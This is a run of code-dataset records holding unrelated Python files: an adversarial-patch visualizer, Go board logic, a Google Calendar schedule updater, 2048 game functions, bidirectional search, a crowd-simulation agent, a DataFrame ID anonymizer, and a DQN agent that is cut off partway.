sleep(LOOP_WAIT_SECONDS)\n","sub_path":"pppoe_test.py","file_name":"pppoe_test.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"529847545","text":"import os\nimport cv2\nimport torch\nimport numpy as np\nfrom skimage.measure import compare_ssim\n\n\ndef visualize_uap(patch, name):\n \"\"\"\n patch: [batch, 3, 303, 303], torch.tensor\n \"\"\"\n img = np.ascontiguousarray(patch[0].data.cpu().numpy().transpose(1, 2, 0))\n if name == 'x':\n base_img = np.ones_like(img)\n elif name == 'z':\n base_img = 127.0 * np.ones_like(img)\n else:\n assert False, name\n img = np.clip(img + base_img, 0, 255).astype(np.uint8)\n\n \"\"\"START:计算 mse\"\"\"\n mse = np.mean((img - base_img) ** 2)\n \"\"\"END:计算 mse\"\"\"\n\n \"\"\"START:计算 ssim\"\"\"\n ssim = compare_ssim(img, base_img, multichannel=True)\n \"\"\"END:计算 ssim\"\"\"\n\n print('{}: mse={:.2f}, ssim={:.2f}'.format(name, mse, ssim))\n\n \"\"\"START:保存可视化结果\"\"\"\n save_root = os.path.join(root, 'visualization', str(num), 'uap')\n if not os.path.exists(save_root):\n os.makedirs(save_root)\n save_path = os.path.join(save_root, '{}.jpg'.format(name))\n assert cv2.imwrite(save_path, img)\n \"\"\"END:保存可视化结果\"\"\"\n\n return\n\n\ndef main():\n x_path = os.path.join(os.path.join(root, 'x_{}'.format(num)))\n z_path = os.path.join(os.path.join(root, 'z_{}'.format(num)))\n print(x_path, z_path)\n x = torch.load(x_path)\n z = torch.load(z_path)\n min_z = torch.min(z).item()\n max_z = torch.max(z).item()\n min_x = torch.min(x).item()\n max_x = torch.max(x).item()\n print('min_z={:.1f}, max_z={:.1f}, min_x={:.1f}, max_x={:.1f}'.format(min_z, max_z, min_x, max_x))\n visualize_uap(x, 'x')\n visualize_uap(z, 'z')\n return\n\n\nif __name__ == '__main__':\n root = '/home/etvuz/projects/adversarial_attack/video_analyst/snapshots/train_set=fulldata_FGSM_cls=1_ctr=1_reg=1_l2_z=0.005_l2_x=1e-05_lr_z=0.1_lr_x=0.5'\n num = 32768\n main()\n","sub_path":"main/visualize_uap.py","file_name":"visualize_uap.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"599868319","text":"import utils\r\nimport point_group\r\n\r\nclass Point:\r\n grid = []\r\n ko = None\r\n\r\n def __init__(self, y, x):\r\n self.team = None\r\n self.y = y\r\n self.x = x\r\n\r\n def get_adjacent_points(self):\r\n adjacent_points = []\r\n positions_to_get = [\r\n (self.y - 1, self.x),\r\n (self.y + 1, self.x),\r\n (self.y, self.x - 1),\r\n (self.y, self.x + 1)\r\n ]\r\n\r\n for pos in positions_to_get:\r\n if pos[0] < 0 or pos[1] < 0:\r\n continue\r\n try:\r\n adjacent_points.append(Point.grid[pos[0]][pos[1]])\r\n except IndexError:\r\n continue\r\n return adjacent_points\r\n\r\n def has_empty_neighbor(self):\r\n for point in self.get_adjacent_points():\r\n if not point.team:\r\n return True\r\n return False\r\n\r\n def get_empty_neighbors(self):\r\n empty_points = []\r\n for point in self.get_adjacent_points():\r\n if not point.team:\r\n empty_points.append(point)\r\n return empty_points\r\n\r\n def is_surrounded(self, team, ignore=[]):\r\n for elt in self.get_adjacent_points():\r\n if elt in ignore:\r\n continue\r\n elif elt.team != team:\r\n return False\r\n return True\r\n\r\n def is_surrounded_by_surrounded(self, team, ignore=[]):\r\n opponent_points = self.get_adjacent_points()\r\n opponent_points = [x for x in opponent_points if x.team and x.team == utils.get_opposite_team(team)]\r\n\r\n for elt in opponent_points:\r\n if elt in ignore:\r\n continue\r\n if elt.is_in_group():\r\n opponent_group = point_group.PointGroup(elt)\r\n if not opponent_group.has_liberties([self]):\r\n return elt\r\n else:\r\n if elt.is_surrounded(team, [self]) and not elt.is_surrounded_by_surrounded(utils.get_opposite_team(team), [self]):\r\n return elt\r\n\r\n def is_playable(self, attacking_team):\r\n if not self.team:\r\n if self == Point.ko:\r\n print(\"Ko rule\")\r\n return False\r\n if self.is_in_group(attacking_team):\r\n group = point_group.PointGroup(self, attacking_team)\r\n Point.ko = None\r\n if group.touches_surrounded():\r\n return True\r\n return group.has_liberties([self])\r\n elif self.has_empty_neighbor():\r\n Point.ko = None\r\n return True\r\n elif self.is_surrounded(utils.get_opposite_team(attacking_team)):\r\n surr_by_surr = self.is_surrounded_by_surrounded(attacking_team)\r\n if surr_by_surr:\r\n Point.ko = surr_by_surr\r\n return True\r\n else:\r\n return False\r\n else:\r\n return False\r\n else:\r\n return False\r\n\r\n def is_in_group(self, friendly_team=None):\r\n if self.team and not friendly_team:\r\n friendly_team = self.team\r\n\r\n friends = self.get_adjacent_points()\r\n friends = [x for x in friends if friendly_team and x.team == friendly_team]\r\n\r\n if friends:\r\n return True\r\n else:\r\n return False\r\n\r\n def has_liberties(self):\r\n if self.has_empty_neighbor():\r\n return True\r\n elif self.is_surrounded_by_surrounded(self.team) and self != Point.ko:\r\n return True\r\n else:\r\n return False\r\n","sub_path":"point.py","file_name":"point.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"397330344","text":"from __future__ import print_function\nimport httplib2\nfrom apiclient import discovery\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\nfrom datetime import timedelta\nimport openpyxl\nimport os\nimport pytz\n\ntry:\n import argparse\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n \n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/calendar-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/calendar'\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'Google Calendar API Python Quickstart'\n\n# Needs the file\nlocal = pytz.timezone(\"America/Chicago\")\nscheduleFile = r\"C:\\Users\\BigSam\\Documents\\AWC\\MediaMasterSchedule.xlsx\"\n\ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir,\n 'calendar-python-mediaupdater.json')\n\n store = Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run_flow(flow, store)\n print('Storing credentials to ' + credential_path)\n return credentials\n\ncredentials = get_credentials()\nhttp = credentials.authorize(httplib2.Http())\nservice = discovery.build('calendar', 'v3', http=http)\n\n\n# Open the Media Master Schedule excel file\nwb = openpyxl.load_workbook(filename = scheduleFile, data_only=True)\n\nsheetNames = (wb.get_sheet_names())\nsheetMenu = sheetNames[-13:-1]\ni = 1\n\nprint()\nfor sheet in sheetMenu:\n print( str(i) + \". \" + sheet )\n i+=1\n# Get the sheet that will be updated.\nstartChoice = input(\"\\nPlease enter the corresponding number of the sheet you want to start on: \")\nendChoice = input(\"\\nPlease enter the corresponding number of the sheet you want to end on: \")\n#sheetName = sheetMenu[choice-1]\n\nstart = int(startChoice)-1\nend = int(endChoice)\nselectedSheetMenu = sheetMenu[start:end]\n# Lighting = 0\n# Projection = 1\n# Switching = 2\n# Service Assistant = 3\n# Cameras = 4,5,6,7\n# Grip = 8\n# Sound = 9\nj=1\n#for sheet in selectedSheetMenu:\n# print( str(j) + \". \" + sheet )\n# j+=1\n\n# Values that the schedule will fall under\nroleArray = [\"D\",\"F\",\"H\",\"J\",\"L\",\"M\",\"N\",\"O\",\"Q\",\"R\"]\ndateArray = [\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\"]\n\neventsUpdated = 0\n\nprint()\n\nfor sheet in selectedSheetMenu:\n # Choose the sheet (month) that will need to be updated\n sheetRanges = wb[sheet]\n\n print( \"Checking Excel sheet '\" + sheet + \"' for updates...\\n\" )\n\n for row in dateArray:\n # Grab the date associated with the row of roles\n scheduleDate = sheetRanges[\"A\"+row].value\n \n if(scheduleDate == None):\n continue\n \n # Set the start time depending on the day.\n day = sheetRanges[\"B\"+row].value\n #print( day )\n \n # Set the start time for the event. \n if( day == \"SUN\" ):\n startHour = 9\n elif( day == \"WED\" ):\n startHour = 18\n elif( \"AM\" in day ):\n startHour = 8\n elif( \"PM\" in day ):\n startHour = 18\n else:\n startHour = -1\n\n startDate = scheduleDate + timedelta(hours=startHour, minutes=0)\n endDate = startDate + timedelta(hours=4, minutes=0)\n #print(\"Start: \" + str(scheduleDate) + \" End: \" + str(endDate) )\n\n # Convert datetime to UTC format for Google Calendar API to recognize.\n local_dt = local.localize(startDate, is_dst=None)\n utc_dt = local_dt.astimezone (pytz.utc)\n\n local_end_dt = local.localize(endDate, is_dst=None)\n utc_end_dt = local_end_dt.astimezone (pytz.utc)\n # NOT WORKING... utcScheduleDate = utc_dt.isoformat() + 'Z'\n # Correct format: \"2017-01-01T06:00:00.0000Z\"\n # .isoformat() bringing back \"2017-01-01T06:00:00+00:00Z\"\n utcScheduleDate = utc_dt.strftime(\"%Y-%m-%dT%H:%M:%S.0000Z\")\n utcEndDate = utc_end_dt.strftime(\"%Y-%m-%dT%H:%M:%S.0000Z\")\n\n # List event that happens on the day\n # NOTE: Should update to only return events on given day\n eventsResult = service.events().list(\n calendarId='primary', timeMin=utcScheduleDate, timeMax=utcEndDate, maxResults=1, singleEvents=True,\n orderBy='startTime').execute()\n listEvents = eventsResult.get('items', [])\n\n if not listEvents:\n print(\"No events found in row \" + row + \" with date \" + str(startDate) + \". Skipping row.\\n\" )\n continue\n\n for listEvent in listEvents:\n\n # Grab the id and start date of the listed event\n eventId = listEvent['id']\n try:\n eventDescription = listEvent['description']\n except KeyError:\n eventDescription = None\n startTime = listEvent['start'].get('dateTime', listEvent['start'].get('date'))\n\n # Get event object to make changes\n event = service.events().get(calendarId='primary', eventId=eventId).execute()\n updatedDescription = None\n\n # Iterate through each role for the given date\n for col in roleArray:\n # Grab the role and the person(s) schedule for that role.\n roleScheduled = sheetRanges[col+\"1\"].value\n personScheduled = sheetRanges[col+row].value\n\n # Verify that the row is filled before creating a line.\n if(personScheduled != None):\n\n # If there is more than one user (new line exists), replace new line with comma \n # for formatting\n if \"\\n\" in personScheduled:\n personScheduled = personScheduled.replace(\"\\n\",\", \")\n\n # Create row string with the format \"ROLE: Name\" \n rowString = roleScheduled + \": \" + personScheduled\n\n # Build (or add to) description to add to event\n if updatedDescription == None:\n updatedDescription = rowString\n else:\n updatedDescription = updatedDescription + \"\\n\" + rowString\n\n # Update the event if there is a change to the description.\n if( updatedDescription != None ):\n if( eventDescription != updatedDescription ):\n eventsUpdated += 1\n print (\"Updating event \" + eventId + \" for date \" + str(startTime))\n\n # Event update occurs here\n event['description'] = updatedDescription\n updated_event = service.events().update(calendarId='primary', eventId=event['id'], body=event).execute()\n else:\n print(startTime + \"No entries to update.\")\n\n# No events are different from schedule \nif( eventsUpdated == 0):\n print(\"No changes were made.\")\n\nchoice = input(\"Press key to enter...\") \n","sub_path":"mediaScheduleUpdater.py","file_name":"mediaScheduleUpdater.py","file_ext":"py","file_size_in_byte":7688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"154559038","text":"\"\"\"\n2048 游戏核心算法\n\"\"\"\n\"\"\"\n1,列表零元素移至末尾\n\"\"\"\nimport pyglet\n\nlist_merge = [0, 2, 0, 0, 2, 0, 2, 0]\n\n\n# 对列表修改 从后往前\ndef zero_to_end():\n \"\"\"\n 零元素移动到末尾\n :param list_merge:\n :return:\n \"\"\"\n for i in range(-1, -len(list_merge) - 1, -1):\n if list_merge[i] == 0:\n del list_merge[i]\n list_merge.append(0)\n\n\n\"\"\"双for写法\"\"\"\n\n\ndef zero_to_end_n(list_t):\n for i in range(len(list_t) - 1):\n for c in range(i + 1, len(list_t) - 1):\n if list_t[i] == 0:\n list_t[i], list_t[c] = list_t[c], list_t[i]\n\n\n\n# print(list_merge)\n\"\"\"\n将相邻相同数字合并\n\"\"\"\nlist01 = [0, 2, 0, 2]\n\n\ndef merge_same_number():\n \"\"\"\n 将数组 相同数字相加\n 先将零移至末尾,再合并\n :param list_merger:\n :return:\n \"\"\"\n zero_to_end()\n for i in range(len(list_merge) - 1):\n if list_merge[i] == list_merge[i + 1]:\n list_merge[i], list_merge[i + 1] = list_merge[i] * 2, 0\n zero_to_end()\n\n# merge_same_number()\n# print(list_merge,'111')\n\"\"\"\n第三个 整体向左移动\n\"\"\"\nsqr_matrix = [[2, 4, 2, 2], [4, 0, 2, 2], [2, 4, 0, 4], [0, 0, 2, 2]]\n\n\ndef move_left():\n \"\"\"\n 向左移动\n :param list_source:\n :return:\n \"\"\"\n global list_merge\n for item in sqr_matrix:\n list_merge = item\n merge_same_number()\n\n\nmove_left()\nprint(sqr_matrix)\n\n\n# 向右移动\n# 将列表倒置\ndef move_right():\n global list_merge\n for item in sqr_matrix:\n list_merge = item[::-1]\n merge_same_number()\n # 从右往左接受新列表 合并\n item[::-1] = list_merge\n\n\ndef move_right():\n # global list_merge\n for item in sqr_matrix:\n global list_merge\n list_merge = item[::-1]\n merge_same_number()\n # 从右往左接受新列表 合并\n # 这个其实就是更改列表内元素,依次等于list_merge\n item[::-1] = list_merge\n\n\ndef transpose_matrix(sqr_matrix):\n \"\"\"\n 方阵转置\n :param target_list:\n :return:\n \"\"\"\n for c in range(1, len(sqr_matrix)):\n for r in range(c, len(sqr_matrix)):\n sqr_matrix[r][c - 1], sqr_matrix[c - 1][r] = \\\n sqr_matrix[c - 1][r], sqr_matrix[r][c - 1]\n\n\n# move_right()\n\ndef move_up(sqr_matrix):\n \"\"\"\n 向上移动,转置以后向左\n :return:\n \"\"\"\n transpose_matrix(sqr_matrix)\n move_left()\n transpose_matrix(sqr_matrix)\n\n\ndef move_down(sqr_matrix):\n \"\"\"\n 往下移动\n :param sqr_matrix:\n :return:\n \"\"\"\n transpose_matrix(sqr_matrix)\n move_right()\n transpose_matrix(sqr_matrix)\n\n#\n# move_up(sqr_matrix)\n# print(sqr_matrix)\n","sub_path":"python_study/project_month01/game_2048/game2048_core.py","file_name":"game2048_core.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"581288146","text":"from champ import link\nimport logging\nimport os\nimport pickle\nfrom champ.link import FastqFiles\n\nlog = logging.getLogger(__name__)\n\n\n#in controller/\n \ndef main(clargs):\n min_len = clargs.min_len\n max_len = clargs.max_len\n fastq_filenames = [os.path.join(clargs.fastq_directory, directory) for directory in os.listdir(clargs.fastq_directory)]\n layers = ['floor', 'ceiling']\n for i in range(2):\n log.debug('Constructing the all seq name files for {} layer'.format(layers[i])) \n usable_read = lambda record_id: link.determine_side(record_id) == str(i+1)\n output_directory = clargs.output_directory\n \n fastq_files = FastqFiles(fastq_filenames)\n read_names_given_seq = {}\n \n with open(clargs.log_p_file_path) as f:\n log_p_struct = pickle.load(f)\n \n if not os.path.exists(os.path.join(output_directory, 'read_names_of_all_seq_{}_{}.txt'.format(clargs.chip_id, layers[i]))):\n read_names_given_seq = link.determine_sequences_of_read_names(log_p_struct, fastq_files, usable_read, min_len, max_len)\n link.write_read_names_by_sequence(read_names_given_seq, os.path.join(output_directory, 'read_names_of_all_seq_{}_{}.txt'.format(clargs.chip_id, layers[i])))\n log.debug('Writing all seq name of {} layer for {} chip!'.format(layers[i], clargs.chip_id))","sub_path":"champ/controller/link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"390858012","text":"input_1 = {0:[1,2], 1:[0,3,4], 3:[1], 4:[1], 2:[0,5,6], 5:[2], 6:[2]}\n#Format vertices:lists\n\ndef bi_directional_search(graph, start, goal):\n # Check if start and goal are equal.\n if start == goal:\n return [start]\n # Get dictionary of currently active vertices with their corresponding paths.\n active_vertices_path_dict = {start: [start], goal: [goal]}\n # Vertices we have already examined.\n inactive_vertices = set()\n\n while len(active_vertices_path_dict) > 0:\n\n # Make a copy of active vertices so we can modify the original dictionary as we go.\n active_vertices = list(active_vertices_path_dict.keys())\n for vertex in active_vertices:\n # Get the path to where we are.\n current_path = active_vertices_path_dict[vertex]\n # Record whether we started at start or goal.\n origin = current_path[0]\n # Check for new neighbours.\n current_neighbours = set(graph[vertex]) - inactive_vertices\n # Check if our neighbours hit an active vertex\n if len(current_neighbours.intersection(active_vertices)) > 0:\n for meeting_vertex in current_neighbours.intersection(active_vertices):\n # Check the two paths didn't start at same place. If not, then we've got a path from start to goal.\n if origin != active_vertices_path_dict[meeting_vertex][0]:\n # Reverse one of the paths.\n active_vertices_path_dict[meeting_vertex].reverse()\n # return the combined results\n return active_vertices_path_dict[vertex] + active_vertices_path_dict[meeting_vertex]\n\n # No hits, so check for new neighbours to extend our paths.\n if len(set(current_neighbours) - inactive_vertices - set(active_vertices)) == 0:\n # If none, then remove the current path and record the endpoint as inactive.\n active_vertices_path_dict.pop(vertex, None)\n inactive_vertices.add(vertex)\n else:\n # Otherwise extend the paths, remove the previous one and update the inactive vertices.\n for neighbour_vertex in current_neighbours - inactive_vertices - set(active_vertices):\n active_vertices_path_dict[neighbour_vertex] = current_path + [neighbour_vertex]\n active_vertices.append(neighbour_vertex)\n active_vertices_path_dict.pop(vertex, None)\n inactive_vertices.add(vertex)\n\n return None\n\nbi_directional_search(input_1, 2, 4)","sub_path":"Optimization/Bidirectional.py","file_name":"Bidirectional.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"23673815","text":"# simulator.py\n# ---------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to Clemson University and the author.\n#\n# Author: Ioannis Karamouzas (ioannis@g.clemson.edu)\n#\n\nimport numpy as np\nfrom math import sqrt\nimport math\n\nclass Agent(object):\n\n def __init__(self, csvParameters, ksi=0.5, dhor = 10, timehor=5, goalRadiusSq=1, maxF = 10):\n \"\"\"\n Takes an input line from the csv file,\n and initializes the agent\n \"\"\"\n self.id = int(csvParameters[0]) # the id of the agent\n self.gid = int(csvParameters[1]) # the group id of the agent\n self.pos = np.array([float(csvParameters[2]), float(csvParameters[3])]) # the position of the agent\n self.vel = np.zeros(2) # the velocity of the agent\n self.goal = np.array([float(csvParameters[4]), float(csvParameters[5])]) # the goal of the agent\n self.prefspeed = float(csvParameters[6]) # the preferred speed of the agent\n self.gvel = self.goal-self.pos # the goal velocity of the agent\n self.gvel = self.gvel/(sqrt(self.gvel.dot(self.gvel )))*self.prefspeed\n self.maxspeed = float(csvParameters[7]) # the maximum sped of the agent\n self.radius = float(csvParameters[8]) # the radius of the agent\n self.goalRadiusSq = goalRadiusSq # parameter to determine if agent is close to the goal\n self.atGoal = False # has the agent reached its goal?\n self.ksi = ksi # the relaxation time used to compute the goal force\n self.dhor = dhor # the sensing radius\n self.timehor = timehor # the time horizon for computing avoidance forces\n self.F = np.zeros(2) # the total force acting on the agent\n self.maxF = maxF # the maximum force that can be applied to the agent\n\n\n def computeForces(self, neighbors=[]):\n \"\"\"\n Your code to compute the forces acting on the agent.\n You probably need to pass here a list of all the agents in the simulation to determine the agent's nearest neighbors\n \"\"\"\n#=======================================================================================================================\n# Calculation of Goal Force (Fg), Sensing Distance, All neighbors, Avoidance Force (Fa) and TTC\n#=======================================================================================================================\n dh = 10\n Fg = (self.gvel-self.vel)/self.ksi # Goal force calculation\n\n # Calculating sensing distance and all neighbors\n for j in range(len(neighbors)):\n if self.id != neighbors[j].id and not neighbors[j].atGoal:\n dis_test = sqrt((neighbors[j].pos[0]-self.pos[0])**2 + (neighbors[j].pos[1]-self.pos[1])**2) - (self.radius + neighbors[j].radius)\n if(dis_test < dh):\n # Calculating TTC\n r = neighbors[j].radius + self.radius\n w = self.pos - neighbors[j].pos #relative position\n c = w.dot(w) - r*r\n rel_vel = self.vel - neighbors[j].vel\n a = np.dot(rel_vel,rel_vel)\n b = np.dot(rel_vel,w)\n discr = b*b - a*c\n if b > 0:\n ttc = float('inf')\n if discr <= 0:\n ttc = float('inf')\n if discr > 0:\n tau = c / (-b + sqrt(discr))\n if tau < 0:\n ttc = float('inf')\n else:\n ttc = tau\n if (ttc != float('inf')): # Calculating unit vector of avoidance force 'n'\n n = w+(rel_vel*ttc)\n else:\n n = np.zeros(2)\n if (n[0] != 0 and n[1] != 0):\n n = n/sqrt(n.dot(n))\n\n Favoid = max(5 - ttc,0)/ttc # Calculating magnitude of avoidance force\n\n n = n * Favoid # Calculating avoidance force\n Fg = Fg + n\n\n # Capping the total force applied to the agent\n if not self.atGoal:\n self.F = Fg\n self.F = np.clip(self.F, -self.maxF, self.maxF)\n\n else:\n self.F = Fg\n self.F = np.clip(self.F, -self.maxF, self.maxF)\n\n#=======================================================================================================================\n# Capping the velocity of each agent to its maximum speed\n#=======================================================================================================================\n\n def update(self, dt):\n \"\"\"\n Code to update the velocity and position of the agents.\n as well as determine the new goal velocity\n \"\"\"\n if not self.atGoal:\n self.vel += self.F*dt # update the velocity\n self.vel = np.clip(self.vel, -self.maxspeed, self.maxspeed)\n self.pos += self.vel*dt #update the position\n\n # compute the goal velocity for the next time step. Do not modify this\n self.gvel = self.goal - self.pos\n distGoalSq = self.gvel.dot(self.gvel)\n if distGoalSq < self.goalRadiusSq:\n self.atGoal = True # goal has been reached\n else:\n self.gvel = self.gvel/sqrt(distGoalSq)*self.prefspeed\n","sub_path":"2-Local Navigation with TTC Forces/Main codes/without epsilon/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"21603730","text":"arr = [int(s) for s in input().split()]\n\nmin_e = 0\nmax_e = 0\nfor i in range(len(arr)):\n for j in range(len(arr)):\n if arr[i] > arr[max_e] and i != j:\n max_e = i\n elif arr[i] < arr[min_e] and i != j:\n min_e = i\n\narr[max_e], arr[min_e] = arr[min_e], arr[max_e]\n\nprint(' '.join([str(i) for i in arr]))\n\n","sub_path":"contests/contest_6/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"313306823","text":"# coding: utf-8\n# Anonymizing a DataFrame Column \n# \n# Assume a *DataFrame* has a column with `sensitiveID` values, such as hospital numbers. The task is to replace these values with `randomID` values so the *DataFrame* can be used without revealing actual patient identifiers.\n# \n# The anonymizaton process should be one of the first steps taken in the data cleaning process to insure patient privacy. A suggested best-practice might be to add '`-anon`' to file names of anonymized data, just to make data management safer. \n\nimport io\nimport pandas as pd\nfrom random import randint\n\ndef randID(n=10):\n \"\"\"return an n-digit random number string (with no leading '0's)\n n defaults to 10-digits, but if given must be an integer\n in the range 1-20; otherwise an ValueError exception will be thrown\n \"\"\"\n if n not in range(1,21): raise ValueError(\"n must be integer 1 to 20\")\n return str(randint(10**(n-1),10**n-1))\n\ndef anonID(sensitiveID, idMap={}, idLength=None):\n \"\"\"return a randomID to replace the sensitiveID, updating the \n idMap so that idMap[sensitiveID]==randomID;\n assumes sensitiveID is a string; returns randomID of the same length,\n unless idLength is set, then returns results with length idLength.\n \"\"\"\n # easy if sensitiveID has already been mapped:\n if sensitiveID in idMap: return idMap[sensitiveID]\n # otherwise, loop until the sensitiveID is mapped:\n while True:\n # get a new randomID; continue looping is it's not unique\n randomID = randID(idLength) if idLength else randID(len(sensitiveID))\n if randomID in idMap.values(): continue\n # otherwise, add the new randomID to the map and return\n idMap[sensitiveID] = randomID\n return randomID \n\ndef anonymize_dataframe(df, colName, idMap={}, idLength=None):\n \"\"\"Replace elements in df (a pandas DataFrame) column named colName\n with anonymized elements. Assumes a string-value column. Optionally,\n update idMap with mapping values. If idLength is given, return\n values of length idLength.\n \"\"\"\n for i in df.index:\n anonymousID = anonID(df[colName][i], idMap = idMap, idLength=idLength)\n df.set_value(i,colName,anonymousID)\n return df\n\nif __name__=='__main__':\n print(\"Some examples:\\n\")\n\n # Using the anonID function:\n print(\"Simple anonymization: %s -> %s\\n\" % (\"123\", anonID(\"123\")))\n\n # Using the anonID function with mapping: \n hn_map = {} \n print(\"Build a idMap, starting with: hn_map = \",hn_map)\n print(\"'123' -> \",anonID('123',idMap=hn_map),\" (hn_map = \", hn_map,\")\")\n print(\"'4567' -> \",anonID('4567',idMap=hn_map),\" (hn_map = \", hn_map,\")\")\n print(\"Looking up ID 123 in idMap['123'] -> \", hn_map['123'])\n print(\"\")\n\n # Create a DataFrame to demonstrate anonymize_dataframe function:\n csvString =\"\"\"\"HN\",\"SBP\",\"DBP\"\n\"1-234\",120,70\n\"4-321\",144,95\"\"\"\n df = pd.read_csv(io.StringIO(csvString))\n print(\"Here's a test DataFrame:\")\n print(df)\n print(\"And now the anonymized df with its idMap:\")\n hn_map = {}\n df = anonymize_dataframe(df,'HN',hn_map,idLength=10)\n print(\"hn_map = \",hn_map)\n print(df)\n","sub_path":"python-intro/data-cleaning-tutorial/anon.py","file_name":"anon.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"226107769","text":"from ai_traineree import DEVICE\nfrom ai_traineree.agents.utils import soft_update\nfrom ai_traineree.buffers import NStepBuffer, PERBuffer, ReplayBuffer\nfrom ai_traineree.networks import DuelingNet, QNetwork, NetworkType\nfrom ai_traineree.types import AgentType\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.nn.utils import clip_grad_norm_\n\nfrom typing import Callable, Dict, Optional, Sequence, Union\n\n\nclass DQNAgent(AgentType):\n \"\"\"Deep Q-Learning Network.\n Dual DQN implementation.\n \"\"\"\n\n name = \"DQN\"\n\n def __init__(\n self, state_size: Union[Sequence[int], int], action_size: int,\n lr: float = 0.001, gamma: float = 0.99, tau: float = 0.002,\n network_fn: Callable[[], NetworkType]=None,\n hidden_layers: Sequence[int]=(64, 64),\n state_transform: Optional[Callable]=None,\n reward_transform: Optional[Callable]=None,\n device=None, **kwargs\n ):\n \"\"\"\n Accepted parameters:\n :param float lr: learning rate (default: 1e-3)\n :param float gamma: discount factor (default: 0.99)\n :param float tau: soft-copy factor (default: 0.002) \n\n \"\"\"\n\n self.device = device if device is not None else DEVICE\n self.state_size = state_size if not isinstance(state_size, int) else (state_size,)\n self.action_size = action_size\n\n self.lr = float(kwargs.get('lr', lr))\n self.gamma = float(kwargs.get('gamma', gamma))\n self.tau = float(kwargs.get('tau', tau))\n\n self.update_freq = int(kwargs.get('update_freq', 1))\n self.batch_size = int(kwargs.get('batch_size', 32))\n self.warm_up = int(kwargs.get('warm_up', 0))\n self.number_updates = int(kwargs.get('number_updates', 1))\n self.max_grad_norm = float(kwargs.get('max_grad_norm', 10))\n\n self.iteration: int = 0\n self.buffer = PERBuffer(self.batch_size)\n self.using_double_q = bool(kwargs.get(\"using_double_q\", False))\n\n self.n_steps = kwargs.get(\"n_steps\", 1)\n self.n_buffer = NStepBuffer(n_steps=self.n_steps, gamma=self.gamma)\n\n self.state_transform = state_transform if state_transform is not None else lambda x: x\n self.reward_transform = reward_transform if reward_transform is not None else lambda x: x\n if network_fn:\n self.net = network_fn().to(self.device)\n self.target_net = network_fn().to(self.device)\n else:\n hidden_layers = kwargs.get('hidden_layers', hidden_layers)\n self.net = DuelingNet(self.state_size[0], self.action_size, hidden_layers=hidden_layers).to(self.device)\n self.target_net = DuelingNet(self.state_size[0], self.action_size, hidden_layers=hidden_layers).to(self.device)\n self.optimizer = optim.SGD(self.net.parameters(), lr=self.lr)\n\n def step(self, state, action, reward, next_state, done) -> None:\n self.iteration += 1\n state = self.state_transform(state)\n next_state = self.state_transform(next_state)\n reward = self.reward_transform(reward)\n\n # Delay adding to buffer to account for n_steps (particularly the reward)\n self.n_buffer.add(state=state, action=[action], reward=[reward], done=[done], next_state=next_state)\n if not self.n_buffer.available:\n return\n\n self.buffer.add(**self.n_buffer.get().get_dict())\n\n if self.iteration < self.warm_up:\n return\n\n if len(self.buffer) > self.batch_size and (self.iteration % self.update_freq) == 0:\n for _ in range(self.number_updates):\n self.learn(self.buffer.sample())\n\n def act(self, state, eps: float = 0.) -> int:\n \"\"\"Returns actions for given state as per current policy.\n\n Params\n ======\n state (array_like): current state\n eps (float): epsilon, for epsilon-greedy action selection\n \"\"\"\n # Epsilon-greedy action selection\n if np.random.random() < eps:\n return np.random.randint(self.action_size)\n\n state = self.state_transform(state)\n state = torch.from_numpy(state).float().unsqueeze(0).to(self.device)\n action_values = self.net.act(state)\n return np.argmax(action_values.cpu().data.numpy())\n\n def learn(self, experiences) -> None:\n rewards = torch.tensor(experiences['reward'], dtype=torch.float32).to(self.device)\n dones = torch.tensor(experiences['done']).type(torch.int).to(self.device)\n states = torch.tensor(experiences['state'], dtype=torch.float32).to(self.device)\n next_states = 